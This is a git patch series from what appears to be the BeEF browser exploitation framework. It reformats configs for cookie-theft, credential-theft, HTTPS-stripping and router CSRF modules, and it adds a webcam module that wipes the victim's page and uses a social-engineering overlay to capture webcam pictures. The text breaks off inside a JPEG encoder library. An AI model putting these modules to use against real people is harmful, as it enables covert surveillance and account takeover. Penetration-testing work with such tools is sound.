modules/exploits/router/huawei_smartax_mt880/config.yaml | 2 +- modules/exploits/router/linksys_befsr41_csrf/config.yaml | 2 +- modules/exploits/router/linksys_wrt54g2_csrf/config.yaml | 2 +- modules/exploits/router/linksys_wrt54g_csrf/config.yaml | 2 +- modules/exploits/switch/netgear_gs108t_csrf/config.yaml | 2 +- 29 files changed, 32 insertions(+), 32 deletions(-) diff --git a/modules/browser/get_visited_domains/config.yaml b/modules/browser/get_visited_domains/config.yaml index dfcab7cf8..ee2921948 100644 --- a/modules/browser/get_visited_domains/config.yaml +++ b/modules/browser/get_visited_domains/config.yaml @@ -22,5 +22,5 @@ beef: description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done at http://lcamtuf.coredump.cx/cachetime/" authors: ["keith_lee @keith55 http://milo2012.wordpress.com"] target: - working: ["FF","IE"] - not_working: ["O","C","S"] + working: ["FF", "IE"] + not_working: ["O", "C", "S"] diff --git a/modules/browser/hooked_domain/ajax_fingerprint/config.yaml b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml index fb4f54fc8..8216f7223 100644 --- a/modules/browser/hooked_domain/ajax_fingerprint/config.yaml +++ b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml @@ -17,11 +17,11 @@ beef: module: ajax_fingerprint: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Fingerprint Ajax" description: "Fingerprint Ajax and JS libraries present on the hooked page." authors: ["qswain"] target: - working: ["FF","S"] + working: ["FF", "S"] not_working: ["C"] diff --git a/modules/browser/hooked_domain/alert_dialog/config.yaml b/modules/browser/hooked_domain/alert_dialog/config.yaml index a5572a41d..2b9c05a1b 100644 --- a/modules/browser/hooked_domain/alert_dialog/config.yaml +++ b/modules/browser/hooked_domain/alert_dialog/config.yaml @@ -17,7 +17,7 @@ beef: module: alert_dialog: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Create Alert Dialog" description: "Sends an alert dialog to the hooked browser." authors: ["wade", "bm"] diff --git a/modules/browser/hooked_domain/deface_web_page/config.yaml b/modules/browser/hooked_domain/deface_web_page/config.yaml index 22e8fdd4d..8d57a6cfe 100644 --- a/modules/browser/hooked_domain/deface_web_page/config.yaml +++ b/modules/browser/hooked_domain/deface_web_page/config.yaml @@ -17,7 +17,7 @@ beef: module: deface_web_page: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Replace Content (Deface)" description: "Overwrite the page, title and shortcut icon on the hooked page." authors: ["antisnatchor"] diff --git a/modules/browser/hooked_domain/get_cookie/config.yaml b/modules/browser/hooked_domain/get_cookie/config.yaml index b535101ef..a5670e31e 100644 --- a/modules/browser/hooked_domain/get_cookie/config.yaml +++ b/modules/browser/hooked_domain/get_cookie/config.yaml @@ -17,7 +17,7 @@ beef: module: get_cookie: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Get Cookie" description: "This module will retrieve the session cookie from the current page." authors: ["bcoles"] diff --git a/modules/browser/hooked_domain/get_local_storage/config.yaml b/modules/browser/hooked_domain/get_local_storage/config.yaml index 2d6d5a011..f008244b3 100644 --- a/modules/browser/hooked_domain/get_local_storage/config.yaml +++ b/modules/browser/hooked_domain/get_local_storage/config.yaml @@ -17,7 +17,7 @@ beef: module: get_local_storage: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Get Local Storage" description: "Extracts data from the HTML5 localStorage object." authors: ["bcoles"] diff --git a/modules/browser/hooked_domain/get_page_html/config.yaml b/modules/browser/hooked_domain/get_page_html/config.yaml index 77e2e9109..a4e51a376 100644 --- a/modules/browser/hooked_domain/get_page_html/config.yaml +++ b/modules/browser/hooked_domain/get_page_html/config.yaml @@ -17,7 +17,7 @@ beef: module: get_page_html: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Get Page HTML" description: "This module will retrieve the HTML from the current page." authors: ["bcoles"] diff --git a/modules/browser/hooked_domain/get_page_links/config.yaml b/modules/browser/hooked_domain/get_page_links/config.yaml index fd0422e2e..1b1ed13f3 100644 --- a/modules/browser/hooked_domain/get_page_links/config.yaml +++ b/modules/browser/hooked_domain/get_page_links/config.yaml @@ -17,7 +17,7 @@ beef: module: get_page_links: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Get Page HREFs" description: "This module will retrieve HREFs from the target page." authors: ["vo"] diff --git a/modules/browser/hooked_domain/get_session_storage/config.yaml b/modules/browser/hooked_domain/get_session_storage/config.yaml index 417d52853..39d1cff08 100644 --- a/modules/browser/hooked_domain/get_session_storage/config.yaml +++ b/modules/browser/hooked_domain/get_session_storage/config.yaml @@ -17,7 +17,7 @@ beef: module: get_session_storage: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Get Session Storage" description: "Extracts data from the HTML5 sessionStorage object." authors: ["bcoles"] diff --git a/modules/browser/hooked_domain/get_stored_credentials/config.yaml b/modules/browser/hooked_domain/get_stored_credentials/config.yaml index ad865fbc1..1c01a0391 100644 --- a/modules/browser/hooked_domain/get_stored_credentials/config.yaml +++ b/modules/browser/hooked_domain/get_stored_credentials/config.yaml @@ -17,7 +17,7 @@ beef: module: get_stored_credentials: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Get Stored Credentials" description: "This module retrieves saved username/password combinations from the login page on the hooked domain.

It will fail if more than one set of domain credentials are saved in the browser." authors: ["bcoles"] diff --git a/modules/browser/hooked_domain/link_rewrite/config.yaml b/modules/browser/hooked_domain/link_rewrite/config.yaml index a2420dcae..f458eb1e0 100644 --- a/modules/browser/hooked_domain/link_rewrite/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite/config.yaml @@ -17,7 +17,7 @@ beef: module: link_rewrite: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Replace HREFs" description: "This module will rewrite all the href attributes of all matched links." authors: ["passbe"] diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml index ab5dbbee4..176ec2f69 100644 --- a/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml @@ -17,7 +17,7 @@ beef: module: link_rewrite_sslstrip: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Replace HREFs (HTTPS)" description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten." authors: ["bcoles"] diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml index 163bf3056..b4a20fe33 100644 --- a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml @@ -17,10 +17,10 @@ beef: module: mobilesafari_address_spoofing: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "iOS Address Bar Spoofing" description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')" - authors: ["bcoles","xntrik","majorsecurity.net"] + authors: ["bcoles", "xntrik", "majorsecurity.net"] target: working: S: diff --git a/modules/browser/hooked_domain/prompt_dialog/config.yaml b/modules/browser/hooked_domain/prompt_dialog/config.yaml index 8b3f21ac4..0f9035279 100644 --- a/modules/browser/hooked_domain/prompt_dialog/config.yaml +++ b/modules/browser/hooked_domain/prompt_dialog/config.yaml @@ -17,7 +17,7 @@ beef: module: prompt_dialog: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Create Prompt Dialog" description: "Sends a prompt dialog to the hooked browser." authors: ["wade", "bm"] diff --git a/modules/browser/hooked_domain/replace_video/config.yaml b/modules/browser/hooked_domain/replace_video/config.yaml index 9fb293c7e..f8ddbcda0 100644 --- a/modules/browser/hooked_domain/replace_video/config.yaml +++ b/modules/browser/hooked_domain/replace_video/config.yaml @@ -17,7 +17,7 @@ beef: module: replace_video: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Replace Videos" description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)." authors: ["Yori Kvitchko", "antisnatchor"] diff --git a/modules/browser/hooked_domain/rickroll/config.yaml b/modules/browser/hooked_domain/rickroll/config.yaml index d8014fcc2..f86c183fa 100644 --- a/modules/browser/hooked_domain/rickroll/config.yaml +++ b/modules/browser/hooked_domain/rickroll/config.yaml @@ -17,7 +17,7 @@ beef: module: rickroll: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Redirect Browser (Rickroll)" description: "Overwrite the body of the page the victim is on with a full screen Rickroll." authors: ["Yori Kvitchko"] diff --git a/modules/browser/hooked_domain/site_redirect/config.yaml b/modules/browser/hooked_domain/site_redirect/config.yaml index 306c3e7a2..3c9681e0a 100644 --- a/modules/browser/hooked_domain/site_redirect/config.yaml +++ b/modules/browser/hooked_domain/site_redirect/config.yaml @@ -17,7 +17,7 @@ beef: module: site_redirect: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Redirect Browser" description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input." authors: ["wade", "vo"] diff --git a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml index 9e5d349c3..ad73b2efe 100644 --- a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml +++ b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml @@ -17,7 +17,7 @@ beef: module: site_redirect_iframe: enable: true - category: ["Browser","Hooked Domain"] + category: ["Browser", "Hooked Domain"] name: "Redirect Browser (iFrame)" description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.

The content of the URL bar will not be changed in the hooked browser." authors: ["ethicalhack3r", "Yori Kvitchko"] diff --git a/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml b/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml index 2920b7a84..af3d4a3f0 100644 --- a/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml +++ b/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml @@ -19,7 +19,7 @@ beef: module: Dlink_dcs_series_csrf: enable: true - category: ["Exploits","Camera"] + category: ["Exploits", "Camera"] name: "Dlink DCS series CSRF" description: "Attempts to change the password on a Dlink DCS series camera." authors: ["bcoles"] diff --git a/modules/exploits/glassfish_war_upload_xsrf/config.yaml b/modules/exploits/glassfish_war_upload_xsrf/config.yaml index c065be089..b92c453c9 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/config.yaml +++ b/modules/exploits/glassfish_war_upload_xsrf/config.yaml @@ -22,4 +22,4 @@ beef: description: "This module attempts to deploy a malicious war file on an Oracle GlassFish Server 3.1.1 (build 12). It makes advantage of a CSRF bug in the REST interface.
For more information refer to http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html." authors: ["Bart Leppens"] target: - working: ["FF","S","C"] + working: ["FF", "S", "C"] diff --git a/modules/exploits/router/bt_home_hub_csrf/config.yaml b/modules/exploits/router/bt_home_hub_csrf/config.yaml index 022045eb9..39034eba7 100644 --- a/modules/exploits/router/bt_home_hub_csrf/config.yaml +++ b/modules/exploits/router/bt_home_hub_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: bt_home_hub_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "BT Home Hub CSRF" description: "Attempts to enable remote administration and change the tech password on a BT Home Hub wireless router." authors: ["bcoles"] diff --git a/modules/exploits/router/comtrend_ct5367_csrf/config.yaml b/modules/exploits/router/comtrend_ct5367_csrf/config.yaml index b502288f1..c579a47b9 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/config.yaml +++ b/modules/exploits/router/comtrend_ct5367_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: comtrend_ct5367_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Comtrend CT-5367 CSRF" description: "Attempts to enable remote administration and change the password on a Comtrend CT-5367 router." authors: ["bcoles"] diff --git a/modules/exploits/router/comtrend_ct5624_csrf/config.yaml b/modules/exploits/router/comtrend_ct5624_csrf/config.yaml index fe71d96bf..27f47c06e 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/config.yaml +++ b/modules/exploits/router/comtrend_ct5624_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: comtrend_ct5624_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Comtrend CT-5624 CSRF" description: "Attempts to enable remote administration and change the password on a Comtrend CT-5624 router." authors: ["bcoles"] diff --git a/modules/exploits/router/dlink_dsl500t_csrf/config.yaml b/modules/exploits/router/dlink_dsl500t_csrf/config.yaml index aab56869a..d7e6ace24 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/config.yaml +++ b/modules/exploits/router/dlink_dsl500t_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: dlink_dsl500t_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "D-Link DSL500T CSRF" description: "Attempts to change the password on a D-Link DSL500T router." authors: ["bcoles"] diff --git a/modules/exploits/router/huawei_smartax_mt880/config.yaml b/modules/exploits/router/huawei_smartax_mt880/config.yaml index 0ccbe8c1d..d12a65130 100644 --- a/modules/exploits/router/huawei_smartax_mt880/config.yaml +++ b/modules/exploits/router/huawei_smartax_mt880/config.yaml @@ -17,7 +17,7 @@ beef: module: Huawei_smartax_mt880_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Huawei SmartAX MT880 CSRF" description: "Attempts to add an administrator account on a Huawei SmartAX MT880 router." authors: ["bcoles"] diff --git a/modules/exploits/router/linksys_befsr41_csrf/config.yaml b/modules/exploits/router/linksys_befsr41_csrf/config.yaml index 790045b2f..d3308de95 100644 --- a/modules/exploits/router/linksys_befsr41_csrf/config.yaml +++ b/modules/exploits/router/linksys_befsr41_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: linksys_befsr41_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Linksys BEFSR41 CSRF" description: "Attempts to enable remote administration and change the password on a Linksys BEFSR41 router." authors: ["Martin Barbella"] diff --git a/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml b/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml index de9c1162d..a64dd89fd 100644 --- a/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml +++ b/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: linksys_wrt54g2_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Linksys WRT54G2 CSRF" description: "Attempts to enable remote administration and change the password on a Linksys WRT54G2 router." authors: ["Martin Barbella"] diff --git a/modules/exploits/router/linksys_wrt54g_csrf/config.yaml b/modules/exploits/router/linksys_wrt54g_csrf/config.yaml index a85f8d5f4..4129d26e1 100644 --- a/modules/exploits/router/linksys_wrt54g_csrf/config.yaml +++ b/modules/exploits/router/linksys_wrt54g_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: linksys_wrt54g_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Linksys WRT54G CSRF" description: "Attempts to enable remote administration and change the password on a Linksys WRT54G router." authors: ["Martin Barbella"] diff --git a/modules/exploits/switch/netgear_gs108t_csrf/config.yaml b/modules/exploits/switch/netgear_gs108t_csrf/config.yaml index 42798a2d3..6402686d4 100644 --- a/modules/exploits/switch/netgear_gs108t_csrf/config.yaml +++ b/modules/exploits/switch/netgear_gs108t_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: Netgear_gs108t_csrf: enable: true - category: ["Exploits","Switch"] + category: ["Exploits", "Switch"] name: "Netgear GS108T CSRF" description: "Attempts to change the password on a Netgear GS108T managed switch." authors: ["Bart Leppens"] From dbae1f60dd98ddf51643ac7b993cd126c4ed6d4b Mon Sep 17 00:00:00 2001 From: floyd Date: Wed, 6 Jun 2012 18:47:48 +0100 Subject: [PATCH 23/26] Added webcam module --- modules/browser/webcam/command.js | 70 ++ modules/browser/webcam/config.yaml | 25 + .../webcam/dev/com/adobe/images/BitString.as | 39 ++ .../webcam/dev/com/adobe/images/JPGEncoder.as | 648 ++++++++++++++++++ .../webcam/dev/com/adobe/images/PNGEncoder.as | 141 ++++ .../webcam/dev/com/foxarc/util/Base64.as | 106 +++ modules/browser/webcam/dev/takeit.fla | Bin 0 -> 142848 bytes modules/browser/webcam/module.rb | 63 ++ modules/browser/webcam/swfobject.js | 4 + modules/browser/webcam/takeit.swf | Bin 0 -> 14840 bytes 10 files changed, 1096 insertions(+) create mode 100644 modules/browser/webcam/command.js create mode 100644 modules/browser/webcam/config.yaml create mode 100755 modules/browser/webcam/dev/com/adobe/images/BitString.as create mode 100755 modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as create mode 100755 modules/browser/webcam/dev/com/adobe/images/PNGEncoder.as create mode 100644 modules/browser/webcam/dev/com/foxarc/util/Base64.as create mode 100644 modules/browser/webcam/dev/takeit.fla create mode 100644 modules/browser/webcam/module.rb create mode 100755 modules/browser/webcam/swfobject.js create mode 100644 modules/browser/webcam/takeit.swf diff --git a/modules/browser/webcam/command.js b/modules/browser/webcam/command.js new file mode 100644 index 000000000..9ed0f73a5 --- /dev/null +++ b/modules/browser/webcam/command.js @@ -0,0 +1,70 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + + +beef.execute(function() { + + /* + If you ever experience that the "Allow button" of the flash warning is not clickable, it can have several reasons: + - Some CSS/Flash bug: http://stackoverflow.com/questions/3003724/cant-click-allow-button-in-flash-on-firefox + - There is a bug in flash: http://forums.adobe.com/thread/880967 + - You overlayed (a single pixel is enough) the warning message with something (e.g. a div). Try to not include the + body_social_engineer_and_overlay below and try again. + */ + + + //The social engineering message and the overlay div's + var body_social_engineer_and_overlay = '

<%= @social_engineering_title %>

<%= @social_engineering_text %>

'; + + + //These 4 function names [noCamera(), noCamera(), pressedDisallow(), pictureCallback(picture), allPicturesTaken()] are hard coded in the swf actionscript3. Flash will invoke these functions directly. The picture for the pictureCallback function will be a base64 encoded JPG string + var js_functions = ''; + + + //Either do the overlay (body_social_engineer_and_overlay) or do something like in the next line (showing a message if adobe flash is not installed) + //We'll notice when flash is not installed anyway... + //var body_flash_container = '

You need FlashPlayer 9 or higher!

Get Adobe Flash player

'; + var body_flash_container = '
'; + + + //The style is the only thing we already append to the head + var theHead = document.getElementsByTagName("head")[0]; + var style = document.createElement('style'); + style.type = 'text/css'; + style.innerHTML = 'body { background: #eee; } .thingy { z-index:50; background-color:#eee; border:1px solid #eee; }'; + theHead.appendChild(style); + + //A nice library that helps us to include the swf file + var swfobject_script = '' + + //This is the javascript that actually calls the swfobject library to include the swf file + var include_script = ''; + + //Empty body first + $j('body').html(''); + //Now show our flash stuff, muahahaha + $j('body').append(js_functions, swfobject_script, body_flash_container, body_social_engineer_and_overlay, include_script); + +}); + + + + + diff --git a/modules/browser/webcam/config.yaml b/modules/browser/webcam/config.yaml new file mode 100644 index 000000000..98cf7bba3 --- /dev/null +++ b/modules/browser/webcam/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + webcam: + enable: true + category: "Browser" + name: "Webcam" + description: "This module will show the Adobe Flash allow webcam dialog to the user. The user has to click the allow button, otherwise this module will not return pictures. The title/text to convince the user can be customised. You can customise how many pictures you want to take and in which interval (default will take 20 pictures, 1 picture per second). The picture is sent as a base64 encoded JPG string." + authors: ["floyd @floyd_ch"] + target: + working: ["All"] diff --git a/modules/browser/webcam/dev/com/adobe/images/BitString.as b/modules/browser/webcam/dev/com/adobe/images/BitString.as new file mode 100755 index 000000000..b5c2b8410 --- /dev/null +++ b/modules/browser/webcam/dev/com/adobe/images/BitString.as @@ -0,0 +1,39 @@ +/* + Copyright (c) 2008, Adobe Systems Incorporated + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + * Neither the name of Adobe Systems Incorporated nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +package com.adobe.images +{ + public class BitString + { + public var len:int = 0; + public var val:int = 0; + } +} \ No newline at end of file diff --git a/modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as b/modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as new file mode 100755 index 000000000..100d7e968 --- /dev/null +++ b/modules/browser/webcam/dev/com/adobe/images/JPGEncoder.as @@ -0,0 +1,648 @@ +/* + Copyright (c) 2008, Adobe Systems Incorporated + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + * Neither the name of Adobe Systems Incorporated nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +package com.adobe.images +{ + import flash.geom.*; + import flash.display.*; + import flash.utils.*; + + /** + * Class that converts BitmapData into a valid JPEG + */ + public class JPGEncoder + { + + // Static table initialization + + private var ZigZag:Array = [ + 0, 1, 5, 6,14,15,27,28, + 2, 4, 7,13,16,26,29,42, + 3, 8,12,17,25,30,41,43, + 9,11,18,24,31,40,44,53, + 10,19,23,32,39,45,52,54, + 20,22,33,38,46,51,55,60, + 21,34,37,47,50,56,59,61, + 35,36,48,49,57,58,62,63 + ]; + + private var YTable:Array = new Array(64); + private var UVTable:Array = new Array(64); + private var fdtbl_Y:Array = new Array(64); + private var fdtbl_UV:Array = new Array(64); + + private function initQuantTables(sf:int):void + { + var i:int; + var t:Number; + var YQT:Array = [ + 16, 11, 10, 16, 24, 40, 51, 61, + 12, 12, 14, 19, 26, 58, 60, 55, + 14, 13, 16, 24, 40, 57, 69, 56, + 14, 17, 22, 29, 51, 87, 80, 62, + 18, 22, 37, 56, 68,109,103, 77, + 24, 35, 55, 64, 81,104,113, 92, + 49, 64, 78, 87,103,121,120,101, + 72, 92, 95, 98,112,100,103, 99 + ]; + for (i = 0; i < 64; i++) { + t = Math.floor((YQT[i]*sf+50)/100); + if (t < 1) { + t = 1; + } else if (t > 255) { + t = 255; + } + YTable[ZigZag[i]] = t; + } + var UVQT:Array = [ + 17, 18, 24, 47, 99, 99, 99, 99, + 18, 21, 26, 66, 99, 99, 99, 99, + 24, 26, 56, 99, 99, 99, 99, 99, + 47, 66, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99, + 99, 99, 99, 99, 99, 99, 99, 99 + ]; + for (i = 0; i < 64; i++) { + t = Math.floor((UVQT[i]*sf+50)/100); + if (t < 1) { + t = 1; + } else if (t > 255) { + t = 255; + } + UVTable[ZigZag[i]] = t; + } + var aasf:Array = [ + 1.0, 1.387039845, 1.306562965, 1.175875602, + 1.0, 0.785694958, 0.541196100, 0.275899379 + ]; + i = 0; + for (var row:int = 0; row < 8; row++) + { + for (var col:int = 0; col < 8; col++) + { + fdtbl_Y[i] = (1.0 / (YTable [ZigZag[i]] * aasf[row] * aasf[col] * 8.0)); + fdtbl_UV[i] = (1.0 / (UVTable[ZigZag[i]] * aasf[row] * aasf[col] * 8.0)); + i++; + } + } + } + + private var YDC_HT:Array; + private var UVDC_HT:Array; + private var YAC_HT:Array; + private var UVAC_HT:Array; + + private function computeHuffmanTbl(nrcodes:Array, std_table:Array):Array + { + var codevalue:int = 0; + var pos_in_table:int = 0; + var HT:Array = new Array(); + for (var k:int=1; k<=16; k++) { + for (var j:int=1; j<=nrcodes[k]; j++) { + HT[std_table[pos_in_table]] = new BitString(); + HT[std_table[pos_in_table]].val = codevalue; + HT[std_table[pos_in_table]].len = k; + pos_in_table++; + codevalue++; + } + codevalue*=2; + } + return HT; + } + + private var std_dc_luminance_nrcodes:Array = [0,0,1,5,1,1,1,1,1,1,0,0,0,0,0,0,0]; + private var std_dc_luminance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11]; + private var std_ac_luminance_nrcodes:Array = [0,0,2,1,3,3,2,4,3,5,5,4,4,0,0,1,0x7d]; + private var std_ac_luminance_values:Array = [ + 0x01,0x02,0x03,0x00,0x04,0x11,0x05,0x12, + 0x21,0x31,0x41,0x06,0x13,0x51,0x61,0x07, + 0x22,0x71,0x14,0x32,0x81,0x91,0xa1,0x08, + 0x23,0x42,0xb1,0xc1,0x15,0x52,0xd1,0xf0, + 0x24,0x33,0x62,0x72,0x82,0x09,0x0a,0x16, + 0x17,0x18,0x19,0x1a,0x25,0x26,0x27,0x28, + 0x29,0x2a,0x34,0x35,0x36,0x37,0x38,0x39, + 0x3a,0x43,0x44,0x45,0x46,0x47,0x48,0x49, + 0x4a,0x53,0x54,0x55,0x56,0x57,0x58,0x59, + 0x5a,0x63,0x64,0x65,0x66,0x67,0x68,0x69, + 0x6a,0x73,0x74,0x75,0x76,0x77,0x78,0x79, + 0x7a,0x83,0x84,0x85,0x86,0x87,0x88,0x89, + 0x8a,0x92,0x93,0x94,0x95,0x96,0x97,0x98, + 0x99,0x9a,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7, + 0xa8,0xa9,0xaa,0xb2,0xb3,0xb4,0xb5,0xb6, + 0xb7,0xb8,0xb9,0xba,0xc2,0xc3,0xc4,0xc5, + 0xc6,0xc7,0xc8,0xc9,0xca,0xd2,0xd3,0xd4, + 0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xe1,0xe2, + 0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea, + 0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8, + 0xf9,0xfa + ]; + + private var std_dc_chrominance_nrcodes:Array = [0,0,3,1,1,1,1,1,1,1,1,1,0,0,0,0,0]; + private var std_dc_chrominance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11]; + private var std_ac_chrominance_nrcodes:Array = [0,0,2,1,2,4,4,3,4,7,5,4,4,0,1,2,0x77]; + private var std_ac_chrominance_values:Array = [ + 